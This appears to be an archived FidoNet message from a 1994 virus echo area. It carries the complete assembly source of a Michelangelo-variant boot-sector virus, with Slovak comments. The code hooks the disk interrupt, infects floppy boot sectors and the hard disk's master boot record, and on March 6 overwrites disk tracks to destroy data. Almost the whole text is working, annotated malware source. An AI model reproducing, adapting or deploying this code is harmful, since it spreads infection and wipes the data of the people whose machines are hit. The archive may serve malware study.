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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir43.asm

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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 33 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:14
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : MICHANGL.A1
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Ron Toler, 2:283/718 (06 Nov 94 16:58)
;* To : Mike Salvino
;* Subj : MICHANGL.A1
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Ron.Toler@f718.n283.z2.fidonet.org
obsluha 13h: push ds
push ax
or dl,dl ; drive a: ?
jnz loc_1 ; ak nie, stara obsluha
xor ax,ax ; ak ano, pozri ci motor bezi
mov ds,ax ; (ked bezi, tak by odbiehanie
; na boot sektor bolo napadne
; - hrcal by disk, pri zapnuti
; sa to strati)
test byte ptr ds:[43Fh],1 ; (0000:043F=10h)
jnz loc_1 ; ak bezi, tak stara obsluha
pop ax ; ak nebezi, tak stara obsluha
pop ds
pushf
call dword ptr cs:[0Ah]
pushf ; Push flags
call sub_1 ; rozmnoz sa na a:
popf ; Pop flags
retf 2 ; vrat sa z int s tymito flagmi
loc_1:
pop ax
pop ds
jmp dword ptr cs:[0Ah] ; stara obsluha
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; MNOZENIE SA
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_1 proc near
push ax ; SCHOVAJ REGS
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si,4
loc_2:
mov ax,201h ; 1 sektor citaj
mov bx,200h ; za seba (si 512 b. dlhy)
mov cx,1 ; boot sektor (1. na 0. stope)
xor dx,dx ; disk a:
pushf
call dword ptr ds:[0Ah] ; stara obsluha
jnc loc_3 ; error ?
xor ax,ax ; error - disk reset
pushf ;
call dword ptr ds:[0Ah] ; (6C20:000A=0AF1Ah)
dec si
jnz loc_2 ; skus to 4 x
jmp short loc_6 ; a ked nic, vykasli sa na to
loc_3:
xor si,si ; vsetko ok, pokracujeme
cld
lodsw ; porovnaj prve 4 byte z bootu
cmp ax,[bx] ; so sebou, aby si zistil, ci
jne loc_4 ; uz si tam - nakazeny disk
lodsw
cmp ax,[bx+2]
je loc_6 ; ak si tam, netrba infikovat
; "AIDS staci dostat raz."
loc_4:
mov ax,301h ; avsak ak tam nie si, tak
mov dh,1 ; ten disk nakaz
mov cl,3 ; nastav znacku, kam odlozit
cmp byte ptr [bx+15h],0FDh ; povodny boot
je loc_5 ; (do ktoreho sektora)
mov cl,0Eh ; podla typu diskety
loc_5: ; (0e - HD, 3 - DD, 7 - hard)
mov word ptr ds:[8],cx ; uloz znacku
pushf ; a zapis povodny boot
call dword ptr ds:[0Ah]
jc loc_6 ; error - neda sa - vyskoc von
mov si,3BEh ; dopis originalnu partition
mov di,1BEh ; na svoj koniec
mov cx,21h
cld
rep movsw
mov ax,301h ; a zapis sa do bootu
xor bx,bx
mov cx,1
xor dx,dx
pushf ; cez staru int 13h
call dword ptr ds:[0Ah]
loc_6:
pop di ; hotovo - koniec
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_1 endp
START VIRUSU xor ax,ax
mov ds,ax ; DS NA NULU
cli ; Disable interrupts
mov ss,ax ; stack pod seba
mov ax,7C00h ; tu si - natiahol si sa
mov sp,ax ; z bootu - sp pod seba
sti ; Enable interrupts
push ds ; schovaj ds,ax
push ax
mov ax,word ptr ds:[4Ch] ; odloz si staru obsluhu int13h
mov word ptr ds:[7C0Ah],ax
mov ax,word ptr ds:[4Eh]
mov word ptr ds:[7C0Ch],ax
mov ax,word ptr ds:[413h] ; top of memory zmensi o 2K
dec ax
dec ax
mov word ptr ds:[413h],ax
mov cl,6 ; prepocitaj na paragr. adr.
shl ax,cl
mov es,ax ; nastav es
mov word ptr ds:[7C05h],ax ; a odloz si ju sem
mov ax,0Eh ; toto je offset noveho int13h
mov word ptr ds:[4Ch],ax ; nastav ten novy int
mov word ptr ds:[4Eh],es
mov cx,1BEh ; skopiruj sa do vyhr. 2K pam.
mov si,7C00h
xor di,di
cld
rep movsb
jmp dword ptr cs:[7C03h] ; a skoc na seba po skopirovani
xor ax,ax ; sem skocis
mov es,ax ; 0 do es
int 13h ; reset disk a:
push cs ; cs do ds
pop ds
mov ax,201h ; precitaj boot
mov bx,7C00h ; do 7c00
mov cx,word ptr ds:[8] ; pozri si znacku, kde mas ulo-
; zeny povodny boot
cmp cx,7 ; ak je to 7 - tak si na harde
jne loc_7 ; inak si na diskete
mov dx,80h ; na harde - c:
int 13h ; precitaj originalny boot
jmp short loc_8 ; a pokracuj
loc_7:
mov cx,word ptr ds:[8] ; precitaj si kde mas boot
mov dx,100h ; z diskety
int 13h
jc loc_8 ; error - nejde to - skonci
push cs ; ak to ide cs do es
pop es
mov ax,201h ; a precitaj si este boot
mov bx,200h ; za seba
mov cx,1
mov dx,80h ; ale z hardu
int 13h
jc loc_8 ; chyba - von
xor si,si ; porovnaj sa s bootom
cld ; ci je harddisk nakazeny
lodsw
cmp ax,[bx]
jne loc_13
lodsw
cmp ax,[bx+2]
jne loc_13 ; ak nie je nakazeny - nakaz
loc_8:
xor cx,cx ; 0 do cx
mov ah,4
int 1Ah ; pozri si datum
; ci je 6. 3.
cmp dx,306h
je loc_9 ; ak je 6.3. - akcia
retf ; ak nie - von
loc_9:
xor dx,dx ; TOT' UCINOK VIRUSU
mov cx,1 ; zacni na 0. stope a 1. sktr
loc_10:
mov ax,309h ; zapis 9 sektorov
mov si,word ptr ds:[8] ; pozri typ disku
cmp si,3 ; disketa -> rovno zapis
je loc_11
mov al,0Eh ; HD disketa -> 14 sektorov
cmp si,0Eh
je loc_11 ; a rovno zapis
mov dl,80h ; nie disketa - hard
mov byte ptr ds:[7],4 ; tak nie 2, ale 4 hlavy
mov al,11h ; a 17 sektorov/ track
loc_11:
mov bx,5000h ; zober hocico z pamati
mov es,bx
int 13h ; a zapis na disk
jnc loc_12 ; nie je chyba - pokracuj
xor ah,ah ; chyba - reset disk
int 13h
loc_12:
inc dh ; dalsia hlava ?
cmp dh,byte ptr ds:[7] ; max. headroom
jb loc_10 ; este nie - pokracuj
xor dh,dh ; ano - opat hlava 0
inc ch ; dalsi track
jmp short loc_10 ; a znova
loc_13:
mov cx,7 ; NAKAZENIE HARDU
mov word ptr ds:[8],cx ; sem uloz povodny boot
mov ax,301h
mov dx,80h
int 13h
jc loc_8 ; error - out
mov si,3BEh ; no error - dopis partition
mov di,1BEh
mov cx,21h
rep movsw
mov ax,301h ; a zapis sa do bootu
xor bx,bx
inc cl
int 13h
jmp short loc_8 ; a chod von
-+- DinoMail v.1.0 Alpha
+ Origin: I just hate people who create virusses... (2:283/718)
=============================================================================
Yoo-hooo-oo, -!
<EFBFBD> The Me<EFBFBD>eO
/Txx Specify output file type
--- Aidstest Null: /Kill
* Origin: <EFBFBD>PVT.ViRII<EFBFBD>main<EFBFBD>board<EFBFBD> / Virus Research labs. (2:5030/136)
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